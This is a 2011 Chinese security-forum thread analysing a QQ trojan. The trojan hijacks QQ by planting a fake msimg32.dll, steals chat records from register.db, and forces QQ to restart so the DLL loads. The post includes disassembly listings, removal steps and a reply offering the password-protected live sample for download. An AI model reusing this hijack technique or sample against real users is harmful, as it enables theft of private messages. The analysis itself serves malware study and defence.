qq木马分析(伪造dll)-软件逆向-看雪-安全社区|安全招聘|kanxue.com

qq木马分析(伪造dll)

发表于: 2011-5-21 11:57 34908

qq木马分析(伪造dll)

ycmint

2011-5-21 11:57

34908

附：老手飘过，新手心情好的可以看看.....
原理：伪造技术，很老的技术，复习一下就当，此木马样本会利用伪造msimg32.dll 技术,对目录下的register.db  获取qq 聊天记录，和相关的qq 信息（我没有看到密码...呵呵）

提供者：x-man(很不错的家伙，够意思，每次向他要都可以拿到好东西，表扬一下，以后不要和我纠结密码学的东东，我表示我很菜滴)

木马：web24 upx 修改加壳

分析部分：主体分析（紧贴重点）

1. 拿到此马，查壳，upx改造加壳，手脱之  dumped_.exe
**************************************************
2.

用户调用：
            loc_402376:                ; CODE XREF: CODE:00402367j
CODE:00402376 83 F8 01       cmp    eax, 1
CODE:00402379 75 0D          jnz    short loc_402388
CODE:0040237B E8 B0 04 00 00 call sub_402830          ; 只看此处的用户调用过程

3个关键的call ,主体行为的全部：
DE:00402830
CODE:00402830                sub_402830 proc near       ; CODE XREF: CODE:0040237Bp
CODE:00402830 E8 0B FD FF FF call sub_402540          ; 互斥量设置
CODE:00402835 E8 36 FE FF FF call sub_402670          ; 遍历进程找qq
CODE:0040283A E8 71 FD FF FF call sub_4025B0
CODE:0040283F A1 48 36 40 00 mov    eax, hWnd
CODE:00402844 50             push eax                ; hWnd
CODE:00402845 FF 15 C4 30 41 00 call ds:CloseWindow
CODE:0040284B E8 90 FE FF FF call sub_4026E0          ; 继续启动
CODE:00402850 6A 00          push 0                   ; uExitCode
CODE:00402852 FF 15 10 30 41 00 call ds:ExitProcess

第一个call 就不看了，很简单，易还原
第二个call:sub_402670 如果qq.exe 处于运行状态，直接遍历找到后，找第一执行模块相应的执行目录，对目录下db,和目标dll进行感染，如果没运行，则找 qq 各种版本的注册表信息获取路径，执行感染
遍历qq  pid
CODE:00401000 81 EC 50 01 00 00 sub    esp, 150h
CODE:00401006 53             push ebx
CODE:00401007 55             push ebp
CODE:00401008 56             push esi
CODE:00401009 57             push edi
CODE:0040100A 33 C0          xor    eax, eax
CODE:0040100C B9 49 00 00 00 mov    ecx, 49h
CODE:00401011 8D 7C 24 3C    lea    edi, [esp+160h+pe.cntUsage]
CODE:00401015 50             push eax                ; th32ProcessID
CODE:00401016 F3 AB          rep stosd
CODE:00401018 6A 02          push 2                   ; dwFlags
CODE:0040101A C7 44 24 40 28 01+mov    [esp+168h+pe.dwSize], 128h
CODE:00401022 E8 61 18 00 00 call CreateToolhelp32Snapshot
CODE:00401027 8B E8          mov    ebp, eax
CODE:00401029 83 FD FF       cmp    ebp, 0FFFFFFFFh
CODE:0040102C 75 0D          jnz    short loc_40103B
CODE:0040102E 5F             pop    edi
CODE:0040102F 5E             pop    esi
CODE:00401030 5D             pop    ebp
CODE:00401031 33 C0          xor    eax, eax
CODE:00401033 5B             pop    ebx
CODE:00401034 81 C4 50 01 00 00 add    esp, 150h
CODE:0040103A C3             retn
CODE:0040103B                ; ---------------------------------------------------------------------------
CODE:0040103B
CODE:0040103B                loc_40103B:                ; CODE XREF: sub_401000+2Cj
CODE:0040103B 8D 44 24 38    lea    eax, [esp+160h+pe]
CODE:0040103F 50             push eax                ; lppe
CODE:00401040 55             push ebp                ; hSnapshot
CODE:00401041 E8 3C 18 00 00 call Process32First
CODE:00401046 85 C0          test eax, eax
CODE:00401048 75 0B          jnz    short loc_401055
CODE:0040104A 5F             pop    edi
CODE:0040104B 5E             pop    esi
CODE:0040104C 5D             pop    ebp
CODE:0040104D 5B             pop    ebx
CODE:0040104E 81 C4 50 01 00 00 add    esp, 150h
CODE:00401054 C3             retn

获取pid后：找主模块目录
   sub    esp, 8             ; 找主模块目录即qq.exe 所在目录，利用遍历qq模块
CODE:00401203 53             push ebx
CODE:00401204 55             push ebp
CODE:00401205 56             push esi
CODE:00401206 57             push edi
CODE:00401207 6A 00          push 0                   ; th32ProcessID
CODE:00401209 6A 02          push 2                   ; dwFlags
CODE:0040120B E8 78 16 00 00 call CreateToolhelp32Snapshot
CODE:00401210 68 28 01 00 00 push 128h                ; unsigned int
CODE:00401215 89 44 24 14    mov    [esp+1Ch+hObject], eax
CODE:00401219 E8 58 16 00 00 call ??2@YAPAXI@Z       ; operator new(uint)
CODE:0040121E 8B F0          mov    esi, eax
CODE:00401220 68 24 02 00 00 push 224h                ; unsigned int
CODE:00401225 89 74 24 1C    mov    [esp+20h+var_4], esi
CODE:00401229 E8 48 16 00 00 call ??2@YAPAXI@Z       ; operator new(uint)
CODE:0040122E 83 C4 08       add    esp, 8
CODE:00401231 8B D8          mov    ebx, eax
CODE:00401233 8B 44 24 1C    mov    eax, [esp+18h+th32ProcessID]
CODE:00401237 C7 06 28 01 00 00 mov    dword ptr [esi], 128h
CODE:0040123D 50             push eax                ; th32ProcessID
CODE:0040123E 6A 08          push 8                   ; dwFlags
CODE:00401240 C7 03 24 02 00 00 mov    dword ptr [ebx], 224h
CODE:00401246 E8 3D 16 00 00 call CreateToolhelp32Snapshot
CODE:0040124B 53             push ebx                ; lpme
CODE:0040124C 50             push eax                ; hSnapshot
CODE:0040124D 89 44 24 24    mov    [esp+20h+th32ProcessID], eax
CODE:00401251 E8 38 16 00 00 call Module32First
CODE:00401256 68 00 01 00 00 push 100h                ; Size
CODE:0040125B FF 15 A0 30 41 00 call ds:malloc
CODE:00401261 8B E8          mov    ebp, eax
CODE:00401263 B9 40 00 00 00 mov    ecx, 40h
CODE:00401268 33 C0          xor    eax, eax
CODE:0040126A 8B FD          mov    edi, ebp
CODE:0040126C 8D B3 20 01 00 00 lea    esi, [ebx+120h]
CODE:00401272 6A 5C          push 5Ch                ; Ch

找qq 各种版本的注册表目录：
CODE:004015F0 56             push esi
CODE:004015F1 8B 74 24 08    mov    esi, [esp+4+arg_0]
CODE:004015F5 56             push esi                ; int
CODE:004015F6 68 44 21 40 00 push offset Str2          ; "QQ"
CODE:004015FB E8 E0 FD FF FF call sub_4013E0
CODE:00401600 85 C0          test eax, eax
CODE:00401602 74 09          jz    short loc_40160D
CODE:00401604 B8 01 00 00 00 mov    eax, 1
CODE:00401609 5E             pop    esi
CODE:0040160A C2 04 00       retn 4
CODE:0040160D                ; ---------------------------------------------------------------------------
CODE:0040160D
CODE:0040160D                loc_40160D:                ; CODE XREF: sub_4015F0+12j
CODE:0040160D 56             push esi                ; int
CODE:0040160E 68 3C 21 40 00 push offset aQq2009       ; "QQ2009"
CODE:00401613 E8 C8 FD FF FF call sub_4013E0
CODE:00401618 85 C0          test eax, eax
CODE:0040161A 74 09          jz    short loc_401625
CODE:0040161C B8 01 00 00 00 mov    eax, 1
CODE:00401621 5E             pop    esi
CODE:00401622 C2 04 00       retn 4
CODE:00401625                ; ---------------------------------------------------------------------------
CODE:00401625
CODE:00401625                loc_401625:                ; CODE XREF: sub_4015F0+2Aj
CODE:00401625 56             push esi                ; int
CODE:00401626 68 34 21 40 00 push offset aQq2010       ; "QQ2010"
CODE:0040162B E8 B0 FD FF FF call sub_4013E0
CODE:00401630 85 C0          test eax, eax
CODE:00401632 74 09          jz    short loc_40163D
CODE:00401634 B8 01 00 00 00 mov    eax, 1
CODE:00401639 5E             pop    esi
CODE:0040163A C2 04 00       retn 4
CODE:0040163D                ; ---------------------------------------------------------------------------
CODE:0040163D
CODE:0040163D                loc_40163D:                ; CODE XREF: sub_4015F0+42j
CODE:0040163D 56             push esi                ; int
CODE:0040163E 68 2C 21 40 00 push offset aQq2011       ; "QQ2011"
CODE:00401643 E8 98 FD FF FF call sub_4013E0
CODE:00401648 85 C0          test eax, eax
CODE:0040164A 74 09          jz    short loc_401655
CODE:0040164C B8 01 00 00 00 mov    eax, 1
CODE:00401651 5E             pop    esi
CODE:00401652 C2 04 00       retn 4
CODE:00401655                ; ---------------------------------------------------------------------------
CODE:00401655
CODE:00401655                loc_401655:                ; CODE XREF: sub_4015F0+5Aj
CODE:00401655 56             push esi                ; int
CODE:00401656 68 24 21 40 00 push offset aTm2009       ; "TM2009"
CODE:0040165B E8 80 FD FF FF call sub_4013E0
CODE:00401660 F7 D8          neg    eax
CODE:00401662 1B C0          sbb    eax, eax
CODE:00401664 5E             pop    esi
CODE:00401665 F7 D8          neg    eax
CODE:00401667 C2 04 00       retn 4
CODE:00401667                sub_4015F0 endp

这两种方式找到路径后：判断dll 是否存在
CODE:004019BE 8D 8C 24 0C 01 00+lea    ecx, [esp+20Ch+FileName]
CODE:004019C5 51             push ecx                ; lpFileName
CODE:004019C6 E8 D5 F9 FF FF call sub_4013A0          ; 打开目录下的msimg32.dll,达到试探文件是否存在为0存在
CODE:004019CB 85 C0          test eax, eax
CODE:004019CD 74 2E          jz    short loc_4019FD
CODE:004019CF 55             push ebp
CODE:004019D0 E8 DB 0B 00 00 call sub_4025B0
CODE:004019D5 8B 2D 1C 30 41 00 mov    ebp, ds:DeleteFileA
CODE:004019DB 8B 3D 20 30 41 00 mov    edi, ds:Sleep

存在就进行感染：
CODE:00401B15 57             push edi                ; nNumberOfBytesToWrite
CODE:00401B16 8D 94 24 10 01 00+lea    edx, [esp+210h+FileName]
CODE:00401B1D 53             push ebx                ; lpBuffer
CODE:00401B1E 52             push edx                ; NumberOfBytesWritten
CODE:00401B1F E8 6C FD FF FF call sub_401890          ; 将加密数据，写入 msimsg.dll 中
CODE:00401B24 5F             pop    edi

下面这段代码貌似在主体中作用没啥用，但代码在感染后的dll 中就是通过ole32.dll 函数获取聊天记录
CODE:00401AA2 50             push eax                ; lpFileName
CODE:00401AA3 F3 A4          rep movsb
CODE:00401AA5 E8 F6 F8 FF FF call sub_4013A0          ; 同样找目录下register.db文件判断是否存在
CODE:00401AAA 85 C0          test eax, eax
CODE:00401AAC 74 0A          jz    short loc_401AB8
CODE:00401AAE 8D 4C 24 0C    lea    ecx, [esp+20Ch+MultiByteStr] ; db 路径
CODE:00401AB2 51             push ecx                ; lpMultiByteStr
CODE:00401AB3 E8 B8 FB FF FF call sub_401670

ODE:00401670 81 EC 58 03 00 00 sub    esp, 358h
CODE:00401676 68 58 21 40 00 push offset LibFileName ; "OLE32.dll"
CODE:0040167B C7 44 24 08 00 00+mov    [esp+35Ch+var_354], 0
CODE:00401683 FF 15 84 30 41 00 call ds:LoadLibraryA
CODE:00401689 85 C0          test eax, eax
CODE:0040168B 0F 84 36 01 00 00 jz    loc_4017C7
CODE:00401691 68 48 21 40 00 push offset ProcName    ; "StgOpenStorage"
CODE:00401696 50             push eax                ; hModule
CODE:00401697 FF 15 80 30 41 00 call ds:GetProcAddress
CODE:0040169D A3 60 36 40 00 mov    StgOpenStorage, eax

感染和路径搜索完成后，这里用了一种很戳的方法加载.
1.关qq进程用户如果重启qq,就加载
2.遍历模块线程，如果所属的就是qq进程的线程发送结束消息，破坏，重启..
04025E2 74 6B          jz    short loc_40264F
CODE:004025E4 50             push eax                ; th32ProcessID
CODE:004025E5 E8 16 EC FF FF call sub_401200
CODE:004025EA A1 58 36 40 00 mov    eax, th32ProcessID
CODE:004025EF 50             push eax                ; dwProcessId
CODE:004025F0 E8 8B FF FF FF call sub_402580          ; 结束qq 进程准备重启，加载感染后的dll
CODE:004025F5 85 C0          test eax, eax
CODE:004025F7 75 49          jnz    short loc_402642
CODE:004025F9 8B 0D 58 36 40 00 mov    ecx, th32ProcessID
CODE:004025FF 51             push ecx                ; th32ProcessID
CODE:00402600 E8 DB EC FF FF call sub_4012E0          ; 找tid 特定的
CODE:00402605 8B F8          mov    edi, eax
CODE:00402607 85 FF          test edi, edi
CODE:00402609 74 37          jz    short loc_402642
CODE:0040260B 6A 00          push 0                   ; lParam
CODE:0040260D 6A 00          push 0                   ; wParam
CODE:0040260F 6A 12          push 12h                ; Msg :quit
CODE:00402611 57             push edi                ; idThread
CODE:00402612 FF 15 C8 30 41 00 call ds:PostThreadMessageA
CODE:00402618 8B 1D 20 30 41 00 mov    ebx, ds:Sleep
CODE:0040261E 68 F4 01 00 00 push 1F4h                ; dwMilliseconds
CODE:00402623 FF D3          call ebx ; Sleep
CODE:00402625 BE 0A 00 00 00 mov    esi, 0Ah

......
CODE:0040262A
CODE:0040262A                loc_40262A:                ; CODE XREF: sub_4025B0+90j
CODE:0040262A 83 FE 19       cmp    esi, 19h
CODE:0040262D 7D 19          jge    short loc_402648
CODE:0040262F 6A 00          push 0                   ; lParam
CODE:00402631 6A 00          push 0                   ; wParam
CODE:00402633 56             push esi                ; Msg:对特定的qq 线程一直发送 quit ,,消息一直由ah 到18h
CODE:00402633                                              ; 加sleep 获取时间长度...目的让想要的线程重启击中我们模块的.
CODE:00402634 57             push edi                ; idThread
CODE:00402635 FF 15 C8 30 41 00 call ds:PostThreadMessageA
CODE:0040263B 6A 0A          push 0Ah                ; dwMilliseconds
CODE:0040263D FF D3          call ebx ; Sleep
CODE:0040263F 46             inc    esi
CODE:00402640 EB E8          jmp    short loc_40262A
CODE:00402642                ; -------------------------------

call sub_4026E0          :继续启动本程序手法：创建进程
CODE:004027DD 56             push esi                ; lpThreadAttributes
CODE:004027DE 56             push esi                ; lpProcessAttributes
CODE:004027DF 50             push eax                ; lpCommandLine
CODE:004027E0 56             push esi                ; lpApplicationName
CODE:004027E1 FF 15 44 30 41 00 call ds:CreateProcessA
CODE:004027E7 85 C0          test eax, eax
CODE:004027E9 74 32          jz    short loc_40281D
CODE:004027EB 8D 4C 24 60    lea    ecx, [esp+360h+szLongPath]
CODE:004027EF 68 80 00 00 00 push 80h                ; dwFileAttributes
CODE:004027F4 51             push ecx                ; lpFileName
CODE:004027F5 FF 15 40 30 41 00 call ds:SetFileAttributesA
CODE:004027FB 8B 35 3C 30 41 00 mov    esi, ds:SetPriorityClass
CODE:00402801 6A 40          push 40h                ; dwPriorityClass
CODE:00402803 8B 54 24 10    mov    edx, [esp+364h+ProcessInformation.hProcess]
CODE:00402807 52             push edx                ; hProcess
CODE:00402808 FF D6          call esi ; SetPriorityClass
CODE:0040280A 68 80 00 00 00 push 80h                ; dwPriorityClass
CODE:0040280F 53             push ebx                ; hProcess
CODE:00402810 FF D6          call esi ; SetPriorityClass
CODE:00402812 8B 44 24 10    mov    eax, [esp+360h+ProcessInformation.hThread]
CODE:00402816 50             push eax                ; hThread

感染后的dll,基本就是先加载伪造dll,然后在伪造dll中，加载系统目录下未感染的msimg32.dll 达到不影响qq运行...这技术海风大大有专门讲过，大家可以看看：
dll中
5C mov    [esp+124h+var_110], 5Ch
.text:730014E4 88 4C 24 15    mov    [esp+124h+var_10F], cl
.text:730014E8 C6 44 24 19 67 mov    [esp+124h+var_10B], 67h
.text:730014ED C6 44 24 1A 33 mov    [esp+124h+var_10A], 33h
.text:730014F2 C6 44 24 1B 32 mov    [esp+124h+var_109], 32h
.text:730014F7 C6 44 24 1C 2E mov    [esp+124h+var_108], 2Eh
.text:730014FC C6 44 24 1D 64 mov    [esp+124h+var_107], 64h
.text:73001501 C6 44 24 16 73 mov    [esp+124h+var_10E], 73h
.text:73001506 C6 44 24 17 69 mov    [esp+124h+var_10D], 69h
.text:7300150B 88 4C 24 18    mov    [esp+124h+var_10C], cl
.text:7300150F C6 44 24 20 00 mov    [esp+124h+var_104], 0
.text:73001514 FF 15 08 10 00 73 call ds:GetSystemDirectoryA
.text:7300151A 8D 7C 24 0C    lea    edi, [esp+11Ch+var_110]
.text:7300151E 83 C9 FF       or    ecx, 0FFFFFFFFh
.text:73001521 33 C0          xor    eax, eax
.text:73001523 8D 54 24 1C    lea    edx, [esp+11Ch+LibFileName]
.text:73001527 F2 AE          repne scasb
.text:73001529 F7 D1          not    ecx
.text:7300152B 2B F9          sub    edi, ecx
.text:7300152D 8B F7          mov    esi, edi
.text:7300152F 8B D9          mov    ebx, ecx
.text:73001531 8B FA          mov    edi, edx
.text:73001533 83 C9 FF       or    ecx, 0FFFFFFFFh
.text:73001536 F2 AE          repne scasb
.text:73001538 8B CB          mov    ecx, ebx
.text:7300153A 4F             dec    edi
.text:7300153B C1 E9 02       shr    ecx, 2
.text:7300153E F3 A5          rep movsd
.text:73001540 8B CB          mov    ecx, ebx
.text:73001542 8D 44 24 1C    lea    eax, [esp+11Ch+LibFileName]
.text:73001546 83 E1 03       and    ecx, 3
.text:73001549 50             push eax                ; lpLibFileName  "system32\msimg32.dll"
.text:7300154A F3 A4          rep movsb
.text:7300154C FF 15 04 10 00 73 call ds:LoadLibraryA    ; 继续加载此msgig.dll
.text:73001552 8B 3D 00 10 00 73 mov    edi, ds:GetProcAddress
.text:73001558 8B F0          mov    esi, eax

清除木马：
法一：
第一：清除qq 目录下的 msimg32.dll 将系统目录下的拷贝进来，也可以根据加载优先的关系直接delete 掉感染的dll（貌似没有必要去还原感染dll,因为已经面目全非了）

第二：杀掉web24.exe进程，并清除掉

法二：
你懂的.....

此马到此结束，适合新手观看...

登录后可查看完整内容

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！

收藏・26

免费・7

支持

最新回复 (32) 1 2 ▶
ycmint 雪币： 1149 活跃值： (888) 能力值： ( LV13，RANK：260 ) 在线值：发帖 28 回帖 893 粉丝 10 关注私信	ycmint 5 2 楼 web24.rar 密码：virus 上传的附件： web24.rar （41.27kb，153次下载） 2011-5-21 12:02 0
dlmu 雪币： 239 活跃值： (25) 能力值： ( LV4，RANK：50 ) 在线值：发帖 2 回帖 210 粉丝 0 关注私信	dlmu 1 3 楼哇塞沙发~~ 2011-5-21 12:30 0
wuzhongren 雪币： 32 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 27 粉丝 0 关注私信	wuzhongren 4 楼学系学习.. 2011-5-21 15:36 0
麻木雪币： 104 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 38 粉丝 0 关注私信	麻木 5 楼拿去改造下我滴。。 2011-5-21 15:57 0
熊猫正正雪币： 2323 活跃值： (4113) 能力值： ( LV12，RANK：530 ) 在线值：发帖 137 回帖 898 粉丝 142 关注私信	熊猫正正 9 6 楼支持~~ 2011-5-21 18:04 0
mumaren 雪币： 71 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 48 回帖 659 粉丝 0 关注私信	mumaren 7 楼高手，厉害学习一下 2011-5-21 20:59 0
Greater 雪币： 13 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 230 粉丝 0 关注私信	Greater 8 楼老东西新用途感谢楼主啦 2011-5-23 09:47 0
tihty 雪币： 27 活跃值： (127) 能力值： ( LV8，RANK：120 ) 在线值：发帖 29 回帖 1095 粉丝 3 关注私信	tihty 2 10 楼不错 2011-5-23 23:46 0
hahadazu 雪币： 321 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 4 回帖 50 粉丝 0 关注私信	hahadazu 11 楼 mark！！ 2011-5-24 08:25 0
majinxin 雪币： 163 活跃值： (75) 能力值： ( LV3，RANK：30 ) 在线值：发帖 8 回帖 130 粉丝 1 关注私信	majinxin 12 楼感觉好质朴的木马.... 2011-5-24 09:02 0
ycmint 雪币： 1149 活跃值： (888) 能力值： ( LV13，RANK：260 ) 在线值：发帖 28 回帖 893 粉丝 10 关注私信	ycmint 5 13 楼写病毒，木马里也有新手和老手，你可以试试分析一下感染后的 dll,其实除了它的感染技术有点老外，但感染后的行为还是比较好的..有兴趣可以析析.... 2011-5-24 09:14 0
莫灰灰雪币： 2331 活跃值： (2220) 能力值： (RANK：400 ) 在线值：发帖 22 回帖 712 粉丝 47 关注私信	莫灰灰 9 14 楼 mark下, 有空了看看. 2011-5-24 09:31 0
踏雪流云雪币： 440 活跃值： (119) 能力值： ( LV6，RANK：80 ) 在线值：发帖 9 回帖 221 粉丝 0 关注私信	踏雪流云 1 15 楼利用msimg32.dll劫持。。。 2011-5-24 11:12 0
张da帅雪币： 200 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 12 粉丝 0 关注私信	张da帅 16 楼还是新手，需要学习，感谢楼主 2011-5-25 10:57 0
elianmeng 雪币： 967 活跃值： (1138) 能力值： ( LV6，RANK：90 ) 在线值：发帖 68 回帖 707 粉丝 4 关注私信	elianmeng 1 17 楼是木马吗？就是一个获得IM聊天记录的东西真搞不懂，怎么还优秀 2011-5-25 14:09 0
elianmeng 雪币： 967 活跃值： (1138) 能力值： ( LV6，RANK：90 ) 在线值：发帖 68 回帖 707 粉丝 4 关注私信	elianmeng 1 18 楼关键的地方还没有分析就搞点表面带点猜测 2011-5-25 14:09 0
ycmint 雪币： 1149 活跃值： (888) 能力值： ( LV13，RANK：260 ) 在线值：发帖 28 回帖 893 粉丝 10 关注私信	ycmint 5 19 楼我只是看到劫持这种老技术，也用在最近的木马上所以就发上来，分析了东西多，有点小小的感触的才发上来.....你这话说的我 ....说实话我技术不好这话我承认..我受教了，看雪的最后一篇文章.....以后就看你表演了.... 2011-5-25 16:01 0
shuax 雪币： 1847 活跃值： (1816) 能力值： ( LV12，RANK：230 ) 在线值：发帖 14 回帖 251 粉丝 9 关注私信	shuax 2 20 楼不懂为什么会有优秀关键的msimg32都没分析，那个复制文件的exe有啥分析头 2011-5-26 09:40 0
邓韬雪币： 278 活跃值： (709) 能力值： ( LV15，RANK：520 ) 在线值：发帖 265 回帖 1670 粉丝 1 关注私信	邓韬 9 21 楼支持支持 2011-5-26 09:56 0
tokiii 雪币： 695 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 95 粉丝 0 关注私信	tokiii 22 楼不错的文章谢谢 2011-5-26 10:31 0
lxwchm 雪币： 413 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 22 粉丝 0 关注私信	lxwchm 23 楼下来看看学习一下~~~~~~~~~ 2011-5-30 15:44 0
dartagnan 雪币： 265 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 51 粉丝 1 关注私信	dartagnan 24 楼新手学习了； 2011-5-30 17:41 0
dayang 雪币： 220 活跃值： (726) 能力值： ( LV2，RANK：10 ) 在线值：发帖 38 回帖 935 粉丝 1 关注私信	dayang 25 楼的确关键的DLL没分析，EXE没看头！ 2011-5-30 22:30 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

ycmint

发帖

893

回帖

260

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

最新回复 (32) 1 2 ▶
ycmint 雪币： 1149 活跃值： (888) 能力值： ( LV13，RANK：260 ) 在线值：发帖 28 回帖 893 粉丝 10 关注私信	ycmint 5 2 楼 web24.rar 密码：virus 上传的附件： web24.rar （41.27kb，153次下载） 2011-5-21 12:02 0
dlmu 雪币： 239 活跃值： (25) 能力值： ( LV4，RANK：50 ) 在线值：发帖 2 回帖 210 粉丝 0 关注私信	dlmu 1 3 楼哇塞沙发~~ 2011-5-21 12:30 0
wuzhongren 雪币： 32 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 27 粉丝 0 关注私信	wuzhongren 4 楼学系学习.. 2011-5-21 15:36 0
麻木雪币： 104 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 38 粉丝 0 关注私信	麻木 5 楼拿去改造下我滴。。 2011-5-21 15:57 0
熊猫正正雪币： 2323 活跃值： (4113) 能力值： ( LV12，RANK：530 ) 在线值：发帖 137 回帖 898 粉丝 142 关注私信	熊猫正正 9 6 楼支持~~ 2011-5-21 18:04 0
mumaren 雪币： 71 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 48 回帖 659 粉丝 0 关注私信	mumaren 7 楼高手，厉害学习一下 2011-5-21 20:59 0
Greater 雪币： 13 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 230 粉丝 0 关注私信	Greater 8 楼老东西新用途感谢楼主啦 2011-5-23 09:47 0
tihty 雪币： 27 活跃值： (127) 能力值： ( LV8，RANK：120 ) 在线值：发帖 29 回帖 1095 粉丝 3 关注私信	tihty 2 10 楼不错 2011-5-23 23:46 0
hahadazu 雪币： 321 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 4 回帖 50 粉丝 0 关注私信	hahadazu 11 楼 mark！！ 2011-5-24 08:25 0
majinxin 雪币： 163 活跃值： (75) 能力值： ( LV3，RANK：30 ) 在线值：发帖 8 回帖 130 粉丝 1 关注私信	majinxin 12 楼感觉好质朴的木马.... 2011-5-24 09:02 0
ycmint 雪币： 1149 活跃值： (888) 能力值： ( LV13，RANK：260 ) 在线值：发帖 28 回帖 893 粉丝 10 关注私信	ycmint 5 13 楼写病毒，木马里也有新手和老手，你可以试试分析一下感染后的 dll,其实除了它的感染技术有点老外，但感染后的行为还是比较好的..有兴趣可以析析.... 2011-5-24 09:14 0
莫灰灰雪币： 2331 活跃值： (2220) 能力值： (RANK：400 ) 在线值：发帖 22 回帖 712 粉丝 47 关注私信	莫灰灰 9 14 楼 mark下, 有空了看看. 2011-5-24 09:31 0
踏雪流云雪币： 440 活跃值： (119) 能力值： ( LV6，RANK：80 ) 在线值：发帖 9 回帖 221 粉丝 0 关注私信	踏雪流云 1 15 楼利用msimg32.dll劫持。。。 2011-5-24 11:12 0
张da帅雪币： 200 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 12 粉丝 0 关注私信	张da帅 16 楼还是新手，需要学习，感谢楼主 2011-5-25 10:57 0
elianmeng 雪币： 967 活跃值： (1138) 能力值： ( LV6，RANK：90 ) 在线值：发帖 68 回帖 707 粉丝 4 关注私信	elianmeng 1 17 楼是木马吗？就是一个获得IM聊天记录的东西真搞不懂，怎么还优秀 2011-5-25 14:09 0
elianmeng 雪币： 967 活跃值： (1138) 能力值： ( LV6，RANK：90 ) 在线值：发帖 68 回帖 707 粉丝 4 关注私信	elianmeng 1 18 楼关键的地方还没有分析就搞点表面带点猜测 2011-5-25 14:09 0
ycmint 雪币： 1149 活跃值： (888) 能力值： ( LV13，RANK：260 ) 在线值：发帖 28 回帖 893 粉丝 10 关注私信	ycmint 5 19 楼我只是看到劫持这种老技术，也用在最近的木马上所以就发上来，分析了东西多，有点小小的感触的才发上来.....你这话说的我 ....说实话我技术不好这话我承认..我受教了，看雪的最后一篇文章.....以后就看你表演了.... 2011-5-25 16:01 0
shuax 雪币： 1847 活跃值： (1816) 能力值： ( LV12，RANK：230 ) 在线值：发帖 14 回帖 251 粉丝 9 关注私信	shuax 2 20 楼不懂为什么会有优秀关键的msimg32都没分析，那个复制文件的exe有啥分析头 2011-5-26 09:40 0
邓韬雪币： 278 活跃值： (709) 能力值： ( LV15，RANK：520 ) 在线值：发帖 265 回帖 1670 粉丝 1 关注私信	邓韬 9 21 楼支持支持 2011-5-26 09:56 0
tokiii 雪币： 695 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 95 粉丝 0 关注私信	tokiii 22 楼不错的文章谢谢 2011-5-26 10:31 0
lxwchm 雪币： 413 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 22 粉丝 0 关注私信	lxwchm 23 楼下来看看学习一下~~~~~~~~~ 2011-5-30 15:44 0
dartagnan 雪币： 265 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 51 粉丝 1 关注私信	dartagnan 24 楼新手学习了； 2011-5-30 17:41 0
dayang 雪币： 220 活跃值： (726) 能力值： ( LV2，RANK：10 ) 在线值：发帖 38 回帖 935 粉丝 1 关注私信	dayang 25 楼的确关键的DLL没分析，EXE没看头！ 2011-5-30 22:30 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复